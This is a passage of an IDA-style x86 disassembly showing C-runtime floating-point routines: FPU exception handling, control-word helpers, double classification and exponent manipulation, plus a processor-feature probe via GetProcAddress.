		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_421FCC
		test	al, bl
		jz	short loc_4219B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4219B2:				; CODE XREF: sub_4218AC+FDj
		test	al, 4
		jz	short loc_4219BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4219BD:				; CODE XREF: sub_4218AC+108j
		test	al, 8
		jz	short loc_4219C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4219C8:				; CODE XREF: sub_4218AC+113j
		test	al, 10h
		jz	short loc_4219D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4219D2:				; CODE XREF: sub_4218AC+11Ej
		test	al, 20h
		jz	short loc_4219DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4219DC:				; CODE XREF: sub_4218AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421A1B
		cmp	eax, 400h
		jz	short loc_421A0D
		cmp	eax, 800h
		jz	short loc_421A01
		cmp	eax, ecx
		jnz	short loc_421A21
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421A21
; ---------------------------------------------------------------------------


loc_421A01:				; CODE XREF: sub_4218AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421A17
; ---------------------------------------------------------------------------


loc_421A0D:				; CODE XREF: sub_4218AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421A17:				; CODE XREF: sub_4218AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421A21
; ---------------------------------------------------------------------------


loc_421A1B:				; CODE XREF: sub_4218AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421A21:				; CODE XREF: sub_4218AC+14Bj
					; sub_4218AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421A4C
		cmp	eax, 200h
		jz	short loc_421A3F
		cmp	eax, ecx
		jnz	short loc_421A59
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421A59
; ---------------------------------------------------------------------------


loc_421A3F:				; CODE XREF: sub_4218AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421A57
; ---------------------------------------------------------------------------


loc_421A4C:				; CODE XREF: sub_4218AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421A57:				; CODE XREF: sub_4218AC+19Ej
		mov	[eax], ecx


loc_421A59:				; CODE XREF: sub_4218AC+189j
					; sub_4218AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_421FDA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42805C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421AD3
		and	dword ptr [esi], 0FFFFFFFEh


loc_421AD3:				; CODE XREF: sub_4218AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421ADC
		and	dword ptr [esi], 0FFFFFFFBh


loc_421ADC:				; CODE XREF: sub_4218AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421AE5
		and	dword ptr [esi], 0FFFFFFF7h


loc_421AE5:				; CODE XREF: sub_4218AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421AEE
		and	dword ptr [esi], 0FFFFFFEFh


loc_421AEE:				; CODE XREF: sub_4218AC+23Dj
		test	[eax+8], bl
		jz	short loc_421AF6
		and	dword ptr [esi], 0FFFFFFDFh


loc_421AF6:				; CODE XREF: sub_4218AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421B2A
		dec	ecx
		jz	short loc_421B1E
		dec	ecx
		jz	short loc_421B14
		dec	ecx
		jnz	short loc_421B2C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421B2C
; ---------------------------------------------------------------------------


loc_421B14:				; CODE XREF: sub_4218AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421B26
; ---------------------------------------------------------------------------


loc_421B1E:				; CODE XREF: sub_4218AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421B26:				; CODE XREF: sub_4218AC+270j
		mov	[esi], ecx
		jmp	short loc_421B2C
; ---------------------------------------------------------------------------


loc_421B2A:				; CODE XREF: sub_4218AC+257j
		and	[esi], edx


loc_421B2C:				; CODE XREF: sub_4218AC+260j
					; sub_4218AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421B4C
		dec	ecx
		jz	short loc_421B43
		dec	ecx
		jnz	short loc_421B55
		and	[esi], edx
		jmp	short loc_421B55
; ---------------------------------------------------------------------------


loc_421B43:				; CODE XREF: sub_4218AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421B53
; ---------------------------------------------------------------------------


loc_421B4C:				; CODE XREF: sub_4218AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421B53:				; CODE XREF: sub_4218AC+29Ej
		mov	[esi], ecx


loc_421B55:				; CODE XREF: sub_4218AC+291j
					; sub_4218AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4218AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B5F	proc near		; CODE XREF: sub_421814+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421B8A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421B8A
		push	ebx
		call	sub_42200C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421D54
; ---------------------------------------------------------------------------


loc_421B8A:				; CODE XREF: sub_421B5F+15j
					; sub_421B5F+1Aj
		test	al, 4
		jz	short loc_421BA4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421BA4
		push	4
		call	sub_42200C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421D54
; ---------------------------------------------------------------------------


loc_421BA4:				; CODE XREF: sub_421B5F+2Dj
					; sub_421B5F+33j
		test	al, bl
		jz	loc_421C7E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421C7E
		push	8
		call	sub_42200C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421C56
		cmp	ecx, 400h
		jz	short loc_421C2E
		cmp	ecx, 800h
		jz	short loc_421C06
		cmp	ecx, eax
		jnz	loc_421C76
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428888
		fld	dbl_43F560
		fnstsw	ax
		sahf
		ja	short loc_421BFE
		fchs


loc_421BFE:				; CODE XREF: sub_421B5F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421C74
; ---------------------------------------------------------------------------


loc_421C06:				; CODE XREF: sub_421B5F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428888
		fnstsw	ax
		sahf
		jbe	short loc_421C1E
		fld	dbl_43F550
		jmp	short loc_421C26
; ---------------------------------------------------------------------------


loc_421C1E:				; CODE XREF: sub_421B5F+B5j
		fld	dbl_43F560
		fchs


loc_421C26:				; CODE XREF: sub_421B5F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421C74
; ---------------------------------------------------------------------------


loc_421C2E:				; CODE XREF: sub_421B5F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428888
		fnstsw	ax
		sahf
		jbe	short loc_421C46
		fld	dbl_43F560
		jmp	short loc_421C4E
; ---------------------------------------------------------------------------


loc_421C46:				; CODE XREF: sub_421B5F+DDj
		fld	dbl_43F550
		fchs


loc_421C4E:				; CODE XREF: sub_421B5F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421C74
; ---------------------------------------------------------------------------


loc_421C56:				; CODE XREF: sub_421B5F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_428888
		fld	dbl_43F550
		fnstsw	ax
		sahf
		ja	short loc_421C6E
		fchs


loc_421C6E:				; CODE XREF: sub_421B5F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421C74:				; CODE XREF: sub_421B5F+A5j
					; sub_421B5F+CDj ...
		fstp	qword ptr [ecx]


loc_421C76:				; CODE XREF: sub_421B5F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421D54
; ---------------------------------------------------------------------------


loc_421C7E:				; CODE XREF: sub_421B5F+47j
					; sub_421B5F+51j
		test	al, 2
		jz	loc_421D54
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421D54
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421C99
		mov	esi, ebx


loc_421C99:				; CODE XREF: sub_421B5F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_428888
		fnstsw	ax
		sahf
		jz	loc_421D42
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421F0B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421CE4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421D38
; ---------------------------------------------------------------------------


loc_421CE4:				; CODE XREF: sub_421B5F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_428888
		fnstsw	ax
		sahf
		jnb	short loc_421CF6
		mov	edx, ebx
		jmp	short loc_421CF8
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421B5F+191j
		xor	edx, edx


loc_421CF8:				; CODE XREF: sub_421B5F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421D2C
		sub	eax, ecx


loc_421D0F:				; CODE XREF: sub_421B5F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421D1A
		test	esi, esi
		jnz	short loc_421D1A
		mov	esi, ebx


loc_421D1A:				; CODE XREF: sub_421B5F+1B3j
					; sub_421B5F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421D26
		or	byte ptr [ebp+var_C+3],	80h


loc_421D26:				; CODE XREF: sub_421B5F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421D0F


loc_421D2C:				; CODE XREF: sub_421B5F+1ACj
		test	edx, edx
		jz	short loc_421D38
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421D38:				; CODE XREF: sub_421B5F+183j
					; sub_421B5F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421D44
; ---------------------------------------------------------------------------


loc_421D42:				; CODE XREF: sub_421B5F+14Ej
		mov	esi, ebx


loc_421D44:				; CODE XREF: sub_421B5F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421D51
		push	10h
		call	sub_42200C
		pop	ecx


loc_421D51:				; CODE XREF: sub_421B5F+1E8j
		and	edi, 0FFFFFFFDh


loc_421D54:				; CODE XREF: sub_421B5F+26j
					; sub_421B5F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421D6B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421D6B
		push	20h
		call	sub_42200C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421D6B:				; CODE XREF: sub_421B5F+1F9j
					; sub_421B5F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421B5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421D76(int,int,int,int,int,int,double,int)

sub_421D76	proc near		; CODE XREF: sub_4217C1+2Bp
					; sub_421814+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421E24
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421DE1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_421FE9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42484D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421DDB
		push	esi
		call	sub_421DFE
		pop	ecx


loc_421DDB:				; CODE XREF: sub_421D76+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421DE1:				; CODE XREF: sub_421D76+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_421FE9
		push	[ebp+arg_0]
		call	sub_421DFE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421D76	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DFE	proc near		; CODE XREF: sub_421814+7Dp
					; sub_421D76+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421E19
		jle	short locret_421E23
		cmp	eax, 3
		jg	short locret_421E23
		mov	dword_4DE02C, 22h
		retn
; ---------------------------------------------------------------------------


loc_421E19:				; CODE XREF: sub_421DFE+7j
		mov	dword_4DE02C, 21h

locret_421E23:				; CODE XREF: sub_421DFE+9j
					; sub_421DFE+Ej
		retn
sub_421DFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E24	proc near		; CODE XREF: sub_421D76+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43F478


loc_421E2B:				; CODE XREF: sub_421E24+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421E41
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43F550
		jl	short loc_421E2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421E41:				; CODE XREF: sub_421E24+Dj
		mov	eax, off_43F47C[ecx*8]
		retn
sub_421E24	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E49	proc near		; CODE XREF: sub_421814+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421E55
		push	5
		jmp	short loc_421E6B
; ---------------------------------------------------------------------------


loc_421E55:				; CODE XREF: sub_421E49+6j
		test	al, 8
		jz	short loc_421E5D
		push	1
		jmp	short loc_421E6B
; ---------------------------------------------------------------------------


loc_421E5D:				; CODE XREF: sub_421E49+Ej
		test	al, 4
		jz	short loc_421E65
		push	2
		jmp	short loc_421E6B
; ---------------------------------------------------------------------------


loc_421E65:				; CODE XREF: sub_421E49+16j
		test	al, 1
		jz	short loc_421E6D
		push	3


loc_421E6B:				; CODE XREF: sub_421E49+Aj
					; sub_421E49+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421E6D:				; CODE XREF: sub_421E49+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421E49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E76(double)

sub_421E76	proc near		; CODE XREF: sub_41CE49:loc_41CECFp
					; sub_41CF8F:loc_41D015p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421E76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E88(double,int)

sub_421E88	proc near		; CODE XREF: sub_421F0B+82p
					; sub_421F0B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EB1	proc near		; CODE XREF: sub_41CE49+31p
					; sub_41CF8F+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421EC8
		cmp	[ebp+arg_0], edx
		jnz	short loc_421EDA
		push	1
		jmp	short loc_421F04
; ---------------------------------------------------------------------------


loc_421EC8:				; CODE XREF: sub_421EB1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421EDA
		cmp	[ebp+arg_0], edx
		jnz	short loc_421EDA
		push	2
		jmp	short loc_421F04
; ---------------------------------------------------------------------------


loc_421EDA:				; CODE XREF: sub_421EB1+11j
					; sub_421EB1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421EED
		push	3
		jmp	short loc_421F04
; ---------------------------------------------------------------------------


loc_421EED:				; CODE XREF: sub_421EB1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421F07
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421F02
		cmp	[ebp+arg_0], edx
		jz	short loc_421F07


loc_421F02:				; CODE XREF: sub_421EB1+4Aj
		push	4


loc_421F04:				; CODE XREF: sub_421EB1+15j
					; sub_421EB1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421F07:				; CODE XREF: sub_421EB1+41j
					; sub_421EB1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F0B(double,int)

sub_421F0B	proc near		; CODE XREF: sub_421B5F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_428888
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421F2B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_421FC1
; ---------------------------------------------------------------------------


loc_421F2B:				; CODE XREF: sub_421F0B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_421F9A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421F43
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_421F9A


loc_421F43:				; CODE XREF: sub_421F0B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_428888
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421F5B
		push	1
		pop	eax
		jmp	short loc_421F5D
; ---------------------------------------------------------------------------


loc_421F5B:				; CODE XREF: sub_421F0B+49j
		xor	eax, eax


loc_421F5D:				; CODE XREF: sub_421F0B+4Ej
					; sub_421F0B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421F76
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421F70
		or	dword ptr [ebp+arg_0+4], 1


loc_421F70:				; CODE XREF: sub_421F0B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421F5D
; ---------------------------------------------------------------------------


loc_421F76:				; CODE XREF: sub_421F0B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421F84
		or	byte ptr [ebp+arg_0+7],	80h


loc_421F84:				; CODE XREF: sub_421F0B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421E88
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_421FC1
; ---------------------------------------------------------------------------


loc_421F9A:				; CODE XREF: sub_421F0B+28j
					; sub_421F0B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421E88
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_421FC1:				; CODE XREF: sub_421F0B+1Bj
					; sub_421F0B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421F0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FCC	proc near		; CODE XREF: sub_4218AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FDA	proc near		; CODE XREF: sub_4218AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421FDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FE9	proc near		; CODE XREF: sub_41CE49+13p
					; sub_41CE49+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_421FE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42200C	proc near		; CODE XREF: sub_421B5F+1Dp
					; sub_421B5F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_422023
		fld	tbyte_43F578
		fistp	[ebp+arg_0]
		wait


loc_422023:				; CODE XREF: sub_42200C+Bj
		test	cl, 8
		jz	short loc_422038
		fstsw	ax
		fld	tbyte_43F578
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_422038:				; CODE XREF: sub_42200C+1Aj
		test	cl, 10h
		jz	short loc_422047
		fld	tbyte_43F584
		fstp	[ebp+var_8]
		wait


loc_422047:				; CODE XREF: sub_42200C+2Fj
		test	cl, 4
		jz	short loc_422055
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_422055:				; CODE XREF: sub_42200C+3Ej
		test	cl, 20h
		jz	short locret_422060
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422060:				; CODE XREF: sub_42200C+4Cj
		leave
		retn
sub_42200C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422062	proc near		; CODE XREF: sub_41CF18+Fp
		push	30000h
		push	10000h
		call	sub_424885
		pop	ecx
		pop	ecx
		retn
sub_422062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422074	proc near		; CODE XREF: sub_4220B2:loc_4220D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_428898
		fstp	[ebp+var_8]
		fld	dbl_428890
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_428718
		fnstsw	ax
		sahf
		jbe	short loc_4220AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4220AE:				; CODE XREF: sub_422074+33j
		xor	eax, eax
		leave
		retn
sub_422074	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220B2	proc near		; CODE XREF: sub_41CF18+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_42809C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4220D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4280BC	; GetProcAddress
		test	eax, eax
		jz	short loc_4220D6
		push	0
		call	eax ; sub_41CF18
		retn
; ---------------------------------------------------------------------------


loc_4220D6:				; CODE XREF: sub_4220B2+Dj
					; sub_4220B2+1Dj
		jmp	sub_422074
sub_4220B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4220DB	proc near		; CODE XREF: sub_41FE9F+3CBp
					; DATA XREF: sub_41CF30+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DF4C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42211B


loc_4220EF:				; CODE XREF: sub_4220DB+3Ej
		inc	esi
		cmp	dword_43F1F4, 1
		jle	short loc_422108
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_422117
; ---------------------------------------------------------------------------


loc_422108:				; CODE XREF: sub_4220DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43EFE8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_422117:				; CODE XREF: sub_4220DB+2Bj
		test	eax, eax
		jnz	short loc_4220EF


loc_42211B:				; CODE XREF: sub_4220DB+12j
		mov	cl, byte_43F1F8
		mov	al, [esi]
